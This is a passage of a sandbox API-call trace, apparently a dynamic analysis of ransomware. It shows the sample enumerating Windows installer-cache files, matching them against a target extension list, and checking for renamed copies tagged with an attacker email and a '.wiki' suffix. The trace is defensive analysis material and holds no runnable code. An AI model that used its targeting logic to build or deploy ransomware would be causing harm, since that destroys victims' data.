"c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.479] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.479] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.479] lstrlenW (lpString=".doc") returned 4 [0173.479] lstrcmpiW (lpString1=".doc", lpString2=".rsm") returned -1 [0173.479] lstrlenW (lpString=".docx") returned 5 [0173.479] lstrcmpiW (lpString1=".docx", lpString2="e.rsm") returned -1 [0173.479] lstrlenW (lpString=".pdf") returned 4 [0173.479] lstrcmpiW (lpString1=".pdf", lpString2=".rsm") returned -1 [0173.479] lstrlenW (lpString=".xls") returned 4 [0173.479] lstrcmpiW (lpString1=".xls", lpString2=".rsm") returned 1 [0173.479] lstrlenW (lpString=".xlsx") returned 5 [0173.479] lstrcmpiW (lpString1=".xlsx", lpString2="e.rsm") returned -1 [0173.479] lstrlenW (lpString=".ppt") returned 4 [0173.479] lstrcmpiW (lpString1=".ppt", lpString2=".rsm") returned -1 [0173.479] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.479] lstrlenW (lpString=".zip") returned 4 [0173.479] lstrcmpiW (lpString1=".zip", lpString2=".rsm") returned 1 [0173.479] lstrlenW (lpString=".rar") returned 4 [0173.479] lstrcmpiW (lpString1=".rar", lpString2=".rsm") returned -1 [0173.479] lstrlenW (lpString=".bz2") returned 4 [0173.479] lstrcmpiW (lpString1=".bz2", lpString2=".rsm") returned -1 [0173.479] lstrlenW (lpString=".7z") returned 3 [0173.480] lstrcmpiW (lpString1=".7z", lpString2="rsm") returned -1 [0173.480] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.480] lstrlenW (lpString=".dbf") returned 4 [0173.480] lstrcmpiW (lpString1=".dbf", lpString2=".rsm") returned -1 [0173.480] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.480] lstrlenW (lpString=".1cd") returned 4 [0173.480] lstrcmpiW (lpString1=".1cd", lpString2=".rsm") returned -1 [0173.480] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.480] lstrlenW (lpString=".jpg") returned 4 [0173.480] lstrcmpiW (lpString1=".jpg", lpString2=".rsm") returned -1 [0173.480] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.480] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.480] lstrlenW (lpString=".doc") returned 4 [0173.480] lstrcmpiW (lpString1=".doc", lpString2=".rsm") returned -1 [0173.480] lstrlenW (lpString=".docx") returned 5 [0173.480] lstrcmpiW (lpString1=".docx", lpString2="e.rsm") returned -1 [0173.480] lstrlenW (lpString=".pdf") returned 4 [0173.480] lstrcmpiW (lpString1=".pdf", lpString2=".rsm") returned -1 [0173.480] lstrlenW (lpString=".xls") returned 4 [0173.480] lstrcmpiW (lpString1=".xls", lpString2=".rsm") returned 1 [0173.480] lstrlenW (lpString=".xlsx") returned 5 [0173.480] lstrcmpiW (lpString1=".xlsx", lpString2="e.rsm") returned -1 [0173.480] lstrlenW (lpString=".ppt") returned 4 [0173.480] lstrcmpiW (lpString1=".ppt", lpString2=".rsm") returned -1 [0173.480] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.480] lstrlenW (lpString=".zip") returned 4 [0173.480] lstrcmpiW (lpString1=".zip", lpString2=".rsm") returned 1 [0173.480] lstrlenW (lpString=".rar") returned 4 [0173.480] lstrcmpiW (lpString1=".rar", lpString2=".rsm") returned -1 [0173.480] lstrlenW (lpString=".bz2") returned 4 [0173.481] lstrcmpiW (lpString1=".bz2", lpString2=".rsm") returned -1 [0173.481] lstrlenW (lpString=".7z") returned 3 [0173.481] lstrcmpiW (lpString1=".7z", lpString2="rsm") returned -1 [0173.481] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.481] lstrlenW (lpString=".dbf") returned 4 [0173.481] lstrcmpiW (lpString1=".dbf", lpString2=".rsm") returned -1 [0173.481] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.481] lstrlenW (lpString=".1cd") returned 4 [0173.481] lstrcmpiW (lpString1=".1cd", lpString2=".rsm") returned -1 [0173.481] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 77 [0173.481] lstrlenW (lpString=".jpg") returned 4 [0173.481] lstrcmpiW (lpString1=".jpg", lpString2=".rsm") returned -1 [0173.481] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0173.481] lstrlenW (lpString="cab1.cab") returned 8 [0173.481] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.482] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1462871) returned 1 [0173.482] CloseHandle (hObject=0x1b4) returned 1 [0173.482] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab")) returned 0x20 [0173.482] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.482] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.482] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.482] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.482] lstrlenW (lpString=".doc") returned 4 [0173.482] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0173.482] lstrlenW (lpString=".docx") returned 5 [0173.482] lstrcmpiW (lpString1=".docx", lpString2="1.cab") returned -1 [0173.482] lstrlenW (lpString=".pdf") returned 4 [0173.482] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0173.482] lstrlenW (lpString=".xls") returned 4 [0173.482] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0173.482] lstrlenW (lpString=".xlsx") returned 5 [0173.482] lstrcmpiW (lpString1=".xlsx", lpString2="1.cab") returned -1 [0173.482] lstrlenW (lpString=".ppt") returned 4 [0173.482] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0173.483] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.483] lstrlenW (lpString=".zip") returned 4 [0173.483] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0173.483] lstrlenW (lpString=".rar") returned 4 [0173.483] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0173.483] lstrlenW (lpString=".bz2") returned 4 [0173.483] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0173.483] lstrlenW (lpString=".7z") returned 3 [0173.483] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0173.483] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.483] lstrlenW (lpString=".dbf") returned 4 [0173.483] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0173.483] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.483] lstrlenW (lpString=".1cd") returned 4 [0173.483] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0173.483] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.483] lstrlenW (lpString=".jpg") returned 4 [0173.483] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0173.483] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.483] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.483] lstrlenW (lpString=".doc") returned 4 [0173.483] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0173.483] lstrlenW (lpString=".docx") returned 5 [0173.483] lstrcmpiW (lpString1=".docx", lpString2="1.cab") returned -1 [0173.483] lstrlenW (lpString=".pdf") returned 4 [0173.483] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0173.483] lstrlenW (lpString=".xls") returned 4 [0173.483] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0173.483] lstrlenW (lpString=".xlsx") returned 5 [0173.484] lstrcmpiW (lpString1=".xlsx", lpString2="1.cab") returned -1 [0173.484] lstrlenW (lpString=".ppt") returned 4 [0173.484] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0173.484] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.484] lstrlenW (lpString=".zip") returned 4 [0173.484] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0173.484] lstrlenW (lpString=".rar") returned 4 [0173.484] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0173.484] lstrlenW (lpString=".bz2") returned 4 [0173.484] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0173.484] lstrlenW (lpString=".7z") returned 3 [0173.484] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0173.484] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.484] lstrlenW (lpString=".dbf") returned 4 [0173.484] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0173.484] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.484] lstrlenW (lpString=".1cd") returned 4 [0173.484] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0173.484] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 120 [0173.484] lstrlenW (lpString=".jpg") returned 4 [0173.484] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0173.484] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0173.485] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25 [0173.485] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.675] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=147456) returned 1 [0173.675] CloseHandle (hObject=0x19c) returned 1 [0173.675] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi")) returned 0x20 [0173.675] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.675] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.675] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.675] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.675] lstrlenW (lpString=".doc") returned 4 [0173.675] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0173.675] lstrlenW (lpString=".docx") returned 5 [0173.675] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0173.675] lstrlenW (lpString=".pdf") returned 4 [0173.675] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0173.675] lstrlenW (lpString=".xls") returned 4 [0173.675] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0173.675] lstrlenW (lpString=".xlsx") returned 5 [0173.675] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0173.675] lstrlenW (lpString=".ppt") returned 4 [0173.675] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0173.675] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.675] lstrlenW (lpString=".zip") returned 4 [0173.676] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0173.676] lstrlenW (lpString=".rar") returned 4 [0173.676] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0173.676] lstrlenW (lpString=".bz2") returned 4 [0173.676] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0173.676] lstrlenW (lpString=".7z") returned 3 [0173.676] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0173.676] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.676] lstrlenW (lpString=".dbf") returned 4 [0173.676] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0173.676] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.676] lstrlenW (lpString=".1cd") returned 4 [0173.676] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0173.676] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.676] lstrlenW (lpString=".jpg") returned 4 [0173.676] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0173.676] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.676] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.676] lstrlenW (lpString=".doc") returned 4 [0173.676] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0173.676] lstrlenW (lpString=".docx") returned 5 [0173.676] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0173.676] lstrlenW (lpString=".pdf") returned 4 [0173.676] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0173.676] lstrlenW (lpString=".xls") returned 4 [0173.676] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0173.676] lstrlenW (lpString=".xlsx") returned 5 [0173.676] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0173.676] lstrlenW (lpString=".ppt") returned 4 [0173.676] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0173.677] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.677] lstrlenW (lpString=".zip") returned 4 [0173.677] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0173.677] lstrlenW (lpString=".rar") returned 4 [0173.677] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0173.677] lstrlenW (lpString=".bz2") returned 4 [0173.677] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0173.677] lstrlenW (lpString=".7z") returned 3 [0173.677] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0173.677] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.677] lstrlenW (lpString=".dbf") returned 4 [0173.677] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0173.677] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.677] lstrlenW (lpString=".1cd") returned 4 [0173.677] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0173.677] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 137 [0173.677] lstrlenW (lpString=".jpg") returned 4 [0173.677] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0173.677] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0173.677] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28 [0173.677] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.053] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=143360) returned 1 [0174.053] CloseHandle (hObject=0x320) returned 1 [0174.053] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi")) returned 0x20 [0174.053] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.053] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.054] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.054] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.054] lstrlenW (lpString=".doc") returned 4 [0174.054] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0174.054] lstrlenW (lpString=".docx") returned 5 [0174.054] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0174.054] lstrlenW (lpString=".pdf") returned 4 [0174.054] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0174.054] lstrlenW (lpString=".xls") returned 4 [0174.054] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0174.054] lstrlenW (lpString=".xlsx") returned 5 [0174.054] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0174.054] lstrlenW (lpString=".ppt") returned 4 [0174.054] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0174.054] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.054] lstrlenW (lpString=".zip") returned 4 [0174.054] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0174.054] lstrlenW (lpString=".rar") returned 4 [0174.054] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0174.054] lstrlenW (lpString=".bz2") returned 4 [0174.054] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0174.054] lstrlenW (lpString=".7z") returned 3 [0174.054] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0174.054] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.054] lstrlenW (lpString=".dbf") returned 4 [0174.054] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0174.054] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.054] lstrlenW (lpString=".1cd") returned 4 [0174.054] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0174.054] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.055] lstrlenW (lpString=".jpg") returned 4 [0174.055] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0174.055] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.055] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.055] lstrlenW (lpString=".doc") returned 4 [0174.055] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0174.055] lstrlenW (lpString=".docx") returned 5 [0174.055] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0174.055] lstrlenW (lpString=".pdf") returned 4 [0174.055] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0174.055] lstrlenW (lpString=".xls") returned 4 [0174.055] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0174.055] lstrlenW (lpString=".xlsx") returned 5 [0174.055] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0174.055] lstrlenW (lpString=".ppt") returned 4 [0174.055] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0174.055] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 142 [0174.055] lstrlenW (lpString=".zip") returned 4 [0174.055] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0174.055] lstrlenW (lpString=".rar") returned 4 [0174.055] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0174.055] lstrlenW 